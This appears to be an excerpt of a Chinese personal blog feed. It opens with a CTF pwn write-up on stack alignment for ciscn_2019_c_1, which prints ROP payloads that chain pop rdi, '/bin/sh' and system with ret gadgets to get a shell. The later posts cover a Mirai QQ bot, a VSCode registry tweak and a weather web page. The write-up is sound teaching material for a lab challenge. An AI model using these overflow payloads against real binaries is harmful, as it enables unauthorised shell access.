<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252147635.jpg"></p><h2 id="0x00写在前面"><a href="#0x00写在前面" class="headerlink" title="0x00写在前面"></a>0x00写在前面</h2><p>在Ubuntu18以上的版本,64位的程序若包含了system(“/bin/sh”),就需要考虑堆栈平衡。因为在Ubuntu18下system调用时要求地址和16字节对齐,如果没有栈对齐的话,程序就直接crash了。之前咱做过好几道靶机环境是Ubuntu18的pwn题,本地打得通,但是远程打不通,很令人费解;看大佬们的博客和WP,却只知道Ubuntu18必须得考虑栈对齐。每次都是到最后一步看到远程靶机打不通显示EOF,今天参考了几篇博客想解决这个问题。</p><p>这是之前出现栈对齐问题的题,当时都是一笔带过,搞得不明不白的,好在今天应该全都搞懂了(大概)</p><p><a href="http://101.35.52.235/2021/04/27/pwn%e5%88%b7%e9%a2%98%e7%ac%94%e8%ae%b0-ciscn/_2019/_c/_1/">http://101.35.52.235/2021/04/27/pwn%e5%88%b7%e9%a2%98%e7%ac%94%e8%ae%b0-ciscn\_2019\_c\_1/</a></p><h2 id="0x01原因"><a href="#0x01原因" class="headerlink" title="0x01原因"></a>0x01原因</h2><p>栈的字节对齐,实际是指栈顶指针必须是16字节的整数倍。栈对齐使得在尽可能少的内存访问周期内读取数据,不对齐堆栈指针可能导致严重的性能下降。</p><p>但是实际上,即使数据没有对齐,我们的程序也是可以执行的,只是效率有点低而已,但是某些型号的Intel和AMD处理器,在执行某些实现多媒体操作的SSE指令时,如果数据没有对齐,将无法正确执行。这些指令对16字节内存进行操作,在SSE单元和内存之间传送数据的指令要求内存地址必须是16的倍数。</p><p>因此,任何针对x86_64处理器的编译器和运行时系统都必须保证, 它们分配内存将来可能会被SSE指令使用,所以必须是16字节对齐的,这也就形成了一种标准:</p><ul><li>任何内存分配函数(<code>alloca</code>, <code>malloc</code>, <code>calloc</code>或<code>realloc</code>)生成的块的起始地址都必须是16的倍数。</li><li>大多数函数的栈帧的边界都必须是16字节的倍数。</li></ul><p>如上,在运行时栈中,不仅传递的参数和局部变量要满足字节对齐,我们的栈指针(<code>rsp</code>)也必须是16的倍数。</p><h2 id="0x02解决方案"><a href="#0x02解决方案" class="headerlink" title="0x02解决方案"></a>0x02解决方案</h2><p>回到我们的题目(<a href="http://101.35.52.235/2021/04/27/pwn%e5%88%b7%e9%a2%98%e7%ac%94%e8%ae%b0-ciscn_2019_c_1/">ciscn_2019_c_1</a>),在最后getshell时我们需要用到system函数,但是这个函数需要满足栈对齐的条件,此时可以尝试通过p64(ret_addr)来栈对齐;或者干脆放弃使用system而利用execve,但坏处是在64位环境下需要3个寄存器来构造参数。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252148218.png"></p><p>如果要构建ROPgadget,不一定能同时找到三个寄存器的语句,这个方法就不一定能行得通。</p><p>要想栈对齐,最好使用ret。一开始我脑子抽了,加了些垃圾数据企图填满使其栈对齐,然后突然想起这完全错了,这哪跟哪啊QwQ。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">payload2=b'a'*(0x50+8)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)</span><br><span class="line">p.sendline(payload2)</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252148468.png"></p><p>可以看到,没有进行栈对齐的payload(0x71加上结尾‘\x00’也就是0x72没法被0x10也就是16整除)打远程的Ubuntu18的靶机只能EOF。好在这个数字比较好栈对齐,那么我们来找一下ret。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252148528.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">picpo@kali:/media/sf_SHARE/PWN/ciscn_2019_en_2$ ROPgadget --binary ./ciscn_2019_en_2 --only "popret"</span><br><span class="line">Gadgets information</span><br><span class="line">============================================================</span><br><span class="line">0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x0000000000400c80 : pop r14 ; pop r15 ; ret</span><br><span class="line">0x0000000000400c82 : pop r15 ; ret</span><br><span class="line">0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x00000000004007f0 : pop rbp ; ret</span><br><span class="line">0x0000000000400aec : pop rbx ; pop rbp ; ret</span><br><span class="line">0x0000000000400c83 : pop rdi ; ret</span><br><span class="line">0x0000000000400c81 : pop rsi ; pop r15 ; ret</span><br><span class="line">0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret</span><br><span class="line">0x00000000004006b9 : ret //选这个!选这个!</span><br><span class="line">0x00000000004008ca : ret 0x2017</span><br><span class="line">0x0000000000400962 : ret 0x458b</span><br><span class="line">0x00000000004009c5 : ret 0xbf02</span><br></pre></td></tr></table></figure><p>这玩意长度是0x8,和前面0x71长度的payload只要加上2n-1个就能完美对齐,所以:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">ret_addr=0x4006b9</span><br><span class="line">payload2=b'a'*(0x50+8)+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)</span><br><span class="line"></span><br><span class="line">payload2=b'a'*(0x50+8)+p64(ret_addr)*3+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)</span><br><span class="line"></span><br><span class="line">payload2=b'a'*(0x50+8)+p64(pop_rdi)+p64(bin_sh_addr)+p64(ret_addr)*3+p64(system_addr)</span><br><span class="line"></span><br><span class="line">payload2=b'a'*(0x50+8)+p64(ret_addr)*2+p64(pop_rdi)+p64(bin_sh_addr)+p64(ret_addr)*3+p64(system_addr)</span><br></pre></td></tr></table></figure><p>这些都是可以的</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252149996.png"></p><p>然后我试了试114514+1,1919(这么臭的数字有试的必要吗(恼)),反正gets本来就没有限制长度,所以其实理论上是可以的,但是实际情况下,会超时(大悲):</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252149911.png"></p><hr><h2 id="0x03参考资料"><a href="#0x03参考资料" class="headerlink" title="0x03参考资料"></a>0x03参考资料</h2><ol><li>x86_64 Linux 运行时栈的字节对齐:<a href="https://www.cnblogs.com/tcctw/p/11333743.html">https://www.cnblogs.com/tcctw/p/11333743.html</a></li><li>CTF总结-PWN篇:<a href="https://blog.csdn.net/qq_42747131/article/details/106121093">https://blog.csdn.net/qq_42747131/article/details/106121093</a></li><li>在一些64位的glibc的payload调用system函数失败问题:<a href="http://blog.eonew.cn/archives/958">http://blog.eonew.cn/archives/958</a></li><li>BUUCTF Pwn ciscn_2019_c_1:<a href="https://renjikai.com/tag/buuctf/">https://renjikai.com/tag/buuctf/</a></li></ol>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>Nekobot开发心得</title>
<link href="/2021/07/05/nekobot%E5%BC%80%E5%8F%91%E5%BF%83%E5%BE%97/"/>
<url>/2021/07/05/nekobot%E5%BC%80%E5%8F%91%E5%BF%83%E5%BE%97/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252202247.png"></p><h2 id="0x00写在前面"><a href="#0x00写在前面" class="headerlink" title="0x00写在前面"></a>0x00写在前面</h2><p>开一个帖,记录一下Nekobot的开发心得吧(主要是自己认为比较重要的某些功能的代码实现方法,写给自己,以免忘记)</p><p>不过,如果笔记里的这些内容对你有所帮助,那就更好了2333.</p><h2 id="0x01通过Get方式请求来获取网页源码"><a href="#0x01通过Get方式请求来获取网页源码" class="headerlink" title="0x01通过Get方式请求来获取网页源码"></a>0x01通过Get方式请求来获取网页源码</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">fun httpget(url: String): String? {</span><br><span class="line"> val client = OkHttpClient()</span><br><span class="line"> val request = Request.Builder().get()</span><br><span class="line"> .url(url)</span><br><span class="line"> .build()</span><br><span class="line"> val call = client.newCall(request)</span><br><span class="line"> val response = call.execute()</span><br><span class="line"> val HTML = response.body?.string()</span><br><span class="line"> return HTML</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>肯定要有的,不然网页api以及爬虫都做不了了</p><h2 id="0x02读取本地文件夹的文件名"><a href="#0x02读取本地文件夹的文件名" class="headerlink" title="0x02读取本地文件夹的文件名"></a>0x02读取本地文件夹的文件名</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">fun getImgList(path: String): MutableList<String> {</span><br><span class="line"> val files: MutableList<String> = mutableListOf()</span><br><span class="line"> val fileTree: FileTreeWalk = File(path).walk()</span><br><span class="line"> fileTree.maxDepth(1)</span><br><span class="line"> .filter { it.isFile }</span><br><span class="line"> .forEach { files.add(it.name) }</span><br><span class="line"> return files</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>示例是读取本地文件夹的图片,通过类似的思路做了个黑名单读取</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">fun getList(path: String): MutableList<Long> {</span><br><span class="line"> val files: MutableList<Long> = mutableListOf()</span><br><span class="line"> val fileTree: FileTreeWalk = File(path).walk()</span><br><span class="line"> fileTree.maxDepth(1)</span><br><span class="line"> .filter { it.isFile }</span><br><span class="line"> .forEach { files.add(it.name.toLong()) }</span><br><span class="line"> return files</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>读取时转换为id(类型为Long),一般来说这个添加方式比修改服务器上的黑名单列表文件内容方便多了,我只要新建个文件,文件名为屏蔽的id就是了;想要移除,删掉就是了。</p><p>为什么不在QQ上直接指示机器人屏蔽某个QQid?对不起,我对本人的编程水平极不自信,虽然源文件泄露导致发现漏洞然后攻击的可能性极微。但是给mirai以root权限对服务器的文件进行创建删除写入,我不太敢这样做。</p><p>顺便一提.filter是选择器而.forEach是循环,类似与if和for,不过咱只有在这块使用了这个kotlin推荐(?)使用的选择语句和循环语句,其他地方一般就是if和for,有的时候还是when(选择语句),语法相当混乱(捂脸)</p><h2 id="0x03获取网络资源并转换为流"><a href="#0x03获取网络资源并转换为流" class="headerlink" title="0x03获取网络资源并转换为流"></a>0x03获取网络资源并转换为流</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">//获取网络图片</span><br><span class="line">fun getNetImg(urlstr: String): InputStream? {</span><br><span class="line"> val url = URL(urlstr)</span><br><span class="line">// return try { 实有异常了再说</span><br><span class="line"> return url.openConnection().getInputStream()</span><br><span class="line">// }catch(err:java.io.IOException){</span><br><span class="line">// null</span><br><span class="line">// }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>学会这个的契机是想发送网络上的图片来着的</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252203015.png"></p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252203912.png"></p><p><a href="https://mirai.mamoe.net/topic/337/%E8%AF%B7%E9%97%AE%E5%A4%A7%E4%BD%AC%E4%BB%AC%E6%9C%89%E4%BB%80%E4%B9%88%E5%8F%91%E9%80%81%E7%BD%91%E7%BB%9C%E5%9B%BE%E7%89%87%E7%9A%84%E6%80%9D%E8%B7%AF%E5%90%97">https://mirai.mamoe.net/topic/337/%E8%AF%B7%E9%97%AE%E5%A4%A7%E4%BD%AC%E4%BB%AC%E6%9C%89%E4%BB%80%E4%B9%88%E5%8F%91%E9%80%81%E7%BD%91%E7%BB%9C%E5%9B%BE%E7%89%87%E7%9A%84%E6%80%9D%E8%B7%AF%E5%90%97</a></p><p>就是这个思路,另外提一下mirai的具体食用方法吧</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">getNetImg(imgurl).use {</span><br><span class="line"> if (it != null) {</span><br><span class="line">//方法一,最原始的发送图片的方法,就是先uploadImage 然后sendMessage</span><br><span class="line"> val img = it.toExternalResource()</span><br><span class="line"> group.sendMessage(group.uploadImage(img))</span><br><span class="line">//方法二,sendImage相当于先进行uploadImage然后再sendMessage</span><br><span class="line"> group.sendImage(img)</span><br><span class="line"> } else {</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h2 id="0x05发送语音"><a href="#0x05发送语音" class="headerlink" title="0x05发送语音"></a>0x05发送语音</h2><p>其实也没啥,不过注意,<strong>只支持 <code>amr</code> 和 <code>silk</code> 格式</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">group.sendMessage(File("${voiceDir}Av845256252.silk").toExternalResource().uploadAsVoice(group))</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> Java </tag>
<tag> Kotlin </tag>
<tag> Mirai </tag>
</tags>
</entry>
<entry>
<title>右键菜单,用VSCode打开文件和文件夹</title>
<link href="/2021/06/18/%E5%8F%B3%E9%94%AE%E8%8F%9C%E5%8D%95%EF%BC%8C%E7%94%A8vscode%E6%89%93%E5%BC%80%E6%96%87%E4%BB%B6%E5%92%8C%E6%96%87%E4%BB%B6%E5%A4%B9/"/>
<url>/2021/06/18/%E5%8F%B3%E9%94%AE%E8%8F%9C%E5%8D%95%EF%BC%8C%E7%94%A8vscode%E6%89%93%E5%BC%80%E6%96%87%E4%BB%B6%E5%92%8C%E6%96%87%E4%BB%B6%E5%A4%B9/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252139401.jpg"></p><p>由于之前在安装VSCODE的时候,没注意详细阅读提示,而且第一次安装比较随意,只是带着想试一下VSCODE才安装的,所以安装的时候漏了勾选open with code这个非常好用的功能!</p><p>那么我们应该怎么解决这个问题呢???<br>看了看网上的方法,分为两种:</p><ul><li>重装VSCODE,重装大法好啊有没有?(不,重装了好多插件要重新装很麻烦的)</li><li>修改注册表(一点都不难,但是要仔细一点)</li></ul><p>重装我就不讲了,谁都会的了吧?</p><p>那么我来讲一下修改注册表</p><p>首先新建一个文本文件。在文本文件中输入以下代码修改注册表,这里要注意一下,<strong>里面的路径要修改为自己电脑里VSCODE的绝对路径,而且注意路径的书写,因为在字符串中,所以注意 \ 的转义</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">Windows Registry Editor Version 5.00</span><br><span class="line"></span><br><span class="line">[HKEY_CLASSES_ROOT\*\shell\VSCode]</span><br><span class="line">@="Open with Code"</span><br><span class="line">"Icon"="C:\\Users\\picpo\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe"</span><br><span class="line"></span><br><span class="line">[HKEY_CLASSES_ROOT\*\shell\VSCode\command]</span><br><span class="line">@="\"C:\\Users\\picpo\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe\" \"%1\""</span><br><span class="line"> </span><br><span class="line">Windows Registry Editor Version 5.00</span><br><span class="line"></span><br><span class="line">[HKEY_CLASSES_ROOT\Directory\shell\VSCode]</span><br><span class="line">@="Open with Code"</span><br><span class="line">"Icon"="C:\\Users\\picpo\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe"</span><br><span class="line"></span><br><span class="line">[HKEY_CLASSES_ROOT\Directory\shell\VSCode\command]</span><br><span class="line">@="\"C:\\Users\\picpo\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe\" \"%V\""</span><br><span class="line"></span><br><span class="line">Windows Registry Editor Version 5.00</span><br><span class="line"></span><br><span class="line">[HKEY_CLASSES_ROOT\Directory\Background\shell\VSCode]</span><br><span class="line">@="Open with Code"</span><br><span class="line">"Icon"="C:\\Users\\picpo\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe"</span><br><span class="line"></span><br><span class="line">[HKEY_CLASSES_ROOT\Directory\Background\shell\VSCode\command]</span><br><span class="line">@="\"C:\\Users\\picpo\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe\" \"%V\""</span><br></pre></td></tr></table></figure><p>保存文件,随便放在哪里都可以,然后命名为: vsCodeOpenFolder.reg,这里你命名为什么都没关系,但是后缀必须要为 <strong>.reg</strong>最后,双击点开该文件,注册完成!</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252140939.png"></p><hr><p>参考文章:VSCODE添加open with code功能,实现右键打开文件夹 <a href="https://blog.csdn.net/qq_37810453/article/details/88101745">https://blog.csdn.net/qq_37810453/article/details/88101745</a></p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> VSCode </tag>
</tags>
</entry>
<entry>
<title>树莓派搭建Mirai QQ机器人</title>
<link href="/2021/05/07/%E6%A0%91%E8%8E%93%E6%B4%BE%E6%90%AD%E5%BB%BAmirai-qq%E6%9C%BA%E5%99%A8%E4%BA%BA/"/>
<url>/2021/05/07/%E6%A0%91%E8%8E%93%E6%B4%BE%E6%90%AD%E5%BB%BAmirai-qq%E6%9C%BA%E5%99%A8%E4%BA%BA/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252200217.png"></p><h2 id="0x00写在前面"><a href="#0x00写在前面" class="headerlink" title="0x00写在前面"></a>0x00写在前面</h2><p>一直以来,我都有一个搭建qq机器人的想法。可惜酷Q早已被腾讯橄榄,但好在还有Mirai这个框架。在翻出我用了五年的树莓派后,我打算在上面自己搭建一个qq机器人,以后或许还会写一写插件啥的(</p><p>本文可能会时不时偶尔更新一下,做到哪步是哪步(咕咕咕预订</p><p>项目地址:<a href="https://github.com/mamoe/mirai">https://github.com/mamoe/mirai</a></p><h2 id="0x01下载Mirai控制台"><a href="#0x01下载Mirai控制台" class="headerlink" title="0x01下载Mirai控制台"></a>0x01下载Mirai控制台</h2><p><a href="https://github.com/mamoe/mirai/blob/dev/docs/UserManual.md">https://github.com/mamoe/mirai/blob/dev/docs/UserManual.md</a></p><p>因为树莓派是arm架构的,所以我选择了arm的版本</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252200411.png"></p><p>建立文件夹,进入,并chmod一下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">pi@raspberrypi:~/mirai $ ls</span><br><span class="line">mcl-installer-72b890d-linux-arm</span><br><span class="line">pi@raspberrypi:~/mirai $ sudo chmod +x ./mcl-installer-72b890d-linux-arm</span><br><span class="line">pi@raspberrypi:~/mirai $ ls</span><br><span class="line">mcl-installer-72b890d-linux-arm</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252200451.png"></p><p>然后无脑回车就是了</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252200333.png"></p><p>可以看到,目录下多了不少东西,先chmod运行mcl再说</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252201423.png"></p><p>第一次运行会初始化</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252201727.png"></p><h2 id="0x02下载和安装插件"><a href="#0x02下载和安装插件" class="headerlink" title="0x02下载和安装插件"></a>0x02下载和安装插件</h2><p>刚刚装好的 Mirai Console 是没有任何功能的。功能将由插件提供。</p><p>Mirai 官方提供两个插件:</p><ul><li><a href="https://github.com/project-mirai/chat-command">chat-command</a>: 允许在聊天环境通过以 “/“ 起始的消息执行指令</li><li><a href="https://github.com/project-mirai/mirai-api-http">mirai-api-http</a>:提供 HTTP 支持,允许使用其他编程语言的插件</li></ul><p>打开命令行 (Windows 系统按住Shift+鼠标右键,点击”在此处打开 PowerShell”),<br>可以使用 MCL 自动安装这些插件如:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./mcl --update-package net.mamoe:mirai-api-http --type plugin --channel stable</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252201808.png"></p><p>如果是 JAR 文件的插件,放入 <code>plugins</code> 即可。其他插件一般都有特殊说明如何使用,请参考它们的说明。</p><h2 id="0x03使用控制台指令"><a href="#0x03使用控制台指令" class="headerlink" title="0x03使用控制台指令"></a>0x03使用控制台指令</h2><p>启动 <code>mcl.cmd</code> 就会看到控制台。在控制台可以输入指令,按回车执行这条指令。</p><p>Mirai Console 内置一些指令,输入 <code>?</code> 并回车可以查看指令列表。</p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> Mirai </tag>
<tag> 树莓派 </tag>
</tags>
</entry>
<entry>
<title>解决Gravatar头像被墙的问题</title>
<link href="/2021/03/09/%E8%A7%A3%E5%86%B3gravatar%E5%A4%B4%E5%83%8F%E8%A2%AB%E5%A2%99%E7%9A%84%E9%97%AE%E9%A2%98/"/>
<url>/2021/03/09/%E8%A7%A3%E5%86%B3gravatar%E5%A4%B4%E5%83%8F%E8%A2%AB%E5%A2%99%E7%9A%84%E9%97%AE%E9%A2%98/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242337275.png"></p><p>2月27日凌晨,我像往常一样打开了自己的博客,来到了留言板,却发现头像无法加载出来。</p><p>原先我以为只是我的网络问题,可没想到gravatar官网都打不开了,这时我意识到不太对劲了,于是打开测速网:</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242338698.png"></p><p>我能说什么呢?反正当时我人麻了😅</p><p>当时也是事发突然,本来也没几个玩wp的朋友,所以当时没有解决的方法。今天尝试百度了一下gravatar,时间限定这一个月,查到了这篇博客,<a href="https://kzyblog.com/5247.html/comment-page-1#comment-3542">完美解决Gravatar头像被墙</a></p><p>抱着尝试的心态试了一下最后一个方法,下载了个WP-China-Yes插件,安装。</p><p>我○,头像又出现了!!!!!!!!!!</p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> wordpress </tag>
</tags>
</entry>
<entry>
<title>Web网页小项目——天气预报Web页面的踩坑笔记</title>
<link href="/2021/01/23/web%E7%BD%91%E9%A1%B5%E5%B0%8F%E9%A1%B9%E7%9B%AE%E5%A4%A9%E6%B0%94%E9%A2%84%E6%8A%A5web%E9%A1%B5%E9%9D%A2/"/>
<url>/2021/01/23/web%E7%BD%91%E9%A1%B5%E5%B0%8F%E9%A1%B9%E7%9B%AE%E5%A4%A9%E6%B0%94%E9%A2%84%E6%8A%A5web%E9%A1%B5%E9%9D%A2/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252141067.jpg"></p><p>寒假是个学习和提升技能的好时机,今年寒假我就参加了SAST2020前端组的WOC(Winter Of Code)项目,来借此好时机来锻炼自己的开发能力。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252142254.png"></p><p>目前第一阶段我是写了一个天气预报Web页面,本以为,不就用ajax调用个api吗,在处理一下数据,调一个好看的式样,不就大功告成了吗?确实,理论上是这么简单,但是实际花了我三天时间,才写出了这么个小小的demo。很多东西根本不是我想象的那么简单的,我是踩一个坑学一些新东西,才做好一个模块的(悲)。</p><h2 id="一、json跨域问题"><a href="#一、json跨域问题" class="headerlink" title="一、json跨域问题"></a>一、json跨域问题</h2><p>第一天就是和这个api斗智斗勇的一天,本来我在网上找到了百度定位api,进展颇为顺利,就是百度api配上谷歌内核的浏览器(比如chrome,qq浏览器),它的具体定位就很不准,而且比较慢,但是定位到城市还是没有问题的。后来要找个天气预报的api,这里选择了心知天气api,选了十五天试用套餐,一共可接入10000次。嘛,我就写个小demo,问题不大,又不是长期用。</p><p>一开始我一直使用的是json调用方式,结果浏览器可以直接访问,但是用到我写的项目里,用jQuery的getJSON(“xxx”)发现获取不到数据。我一直以为自己的js代码哪里出了问题,知道晚上我才发现:json跨域的话,现在的浏览器会自动拦截。</p><h3 id="(一)何为跨域?"><a href="#(一)何为跨域?" class="headerlink" title="(一)何为跨域?"></a>(一)何为跨域?</h3><p><strong>只要协议,端口,域名有一个不同,即为跨域!</strong></p><p>首先,先了解浏览器有一个很重要安全性限制,即为同源策略:不同域的客户端脚本在无明确授权的情况下不能读些对方资源。</p><p>然而,当进行一些api接口调用时,那肯定不可避免地需要进行跨域操作,这时候“同源策略”就显得过于苛刻。</p><h3 id="(二)怎样解决"><a href="#(二)怎样解决" class="headerlink" title="(二)怎样解决"></a>(二)怎样解决</h3><p>我又花了一晚上的时间去百度这个方法那个方法,发现纯前端的话,json是根本行不通的,但我仍不死心,去请教了一下前段组的大仙贝:</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252143365.jpg"></p><p>好,这波我死心了,老老实实用jsonp吧(悲)</p><p>好在心知天气本身就有jsonp的调用方式,也有官方的demo。就是比较麻烦,这其中涉及密钥+公钥生成签名验证的机制,我硬着头皮的学习了一下,试着自己搞了一下,最后竟然成功了。好耶耶耶耶耶耶耶耶耶耶!</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252143816.jpg"></p><h2 id="二、Echarts绘制与适配问题"><a href="#二、Echarts绘制与适配问题" class="headerlink" title="二、Echarts绘制与适配问题"></a>二、Echarts绘制与适配问题</h2><p>Echarts是一个使用 JavaScript 实现的开源可视化库,涵盖各行业图表,非常的不错。但是这里还是踩到了两个坑:</p><h3 id="(一)Echarts无法绘制图标"><a href="#(一)Echarts无法绘制图标" class="headerlink" title="(一)Echarts无法绘制图标"></a>(一)Echarts无法绘制图标</h3><p>当我打开网页调试时,控制台传入了如下错误:【Echarts】Uncaught TypeError: Cannot read property ‘getAttribute’ of null</p><p>一开始我还以为是Echarts cdn解析出了错,后来才得知,Echarts是没有找到所要绘制的div,不是说我没有在HTML里写到它,而是js在body生成前就调用了,所以才会出现获取不到属性。解决方法就是把js扔到页脚:</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252144259.png"></p><h3 id="(二)Echarts适配问题"><a href="#(二)Echarts适配问题" class="headerlink" title="(二)Echarts适配问题"></a>(二)Echarts适配问题</h3><p>这个就有点麻烦了,当你设置div的width为100%时,愚蠢的Echarts会自动识别为100px,其效果极其鬼畜:</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252144298.png"></p><p>那咋办?网上给的方案都是echarts初始化之前再用js获取当前屏幕的大小,然后再给他设置宽度就可以了。而我只接给他设了个90vw的具体长度,问题也能解决(</p><p>总的来说踩了不少的坑,当然也学了不少东西,比如ajax+jquery,bootstrap4的响应式界面搭建,当然啊,调css的过程也是坠痛苦的。</p><p>项目地址:<a href="https://github.com/picpo/weather-demo">https://github.com/picpo/weather-demo</a></p><p>大家可以将里面的key换成自己的玩玩,因为我的次数也估计只剩下6000多次了。</p><ul><li><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252145373.png"></p></li><li><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252145325.png"></p></li><li><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252146972.png"></p></li></ul>]]></content>
<categories>
<category> 前端 </category>
</categories>
<tags>
<tag> ajax </tag>
<tag> bootstrap </tag>
<tag> jQuery </tag>
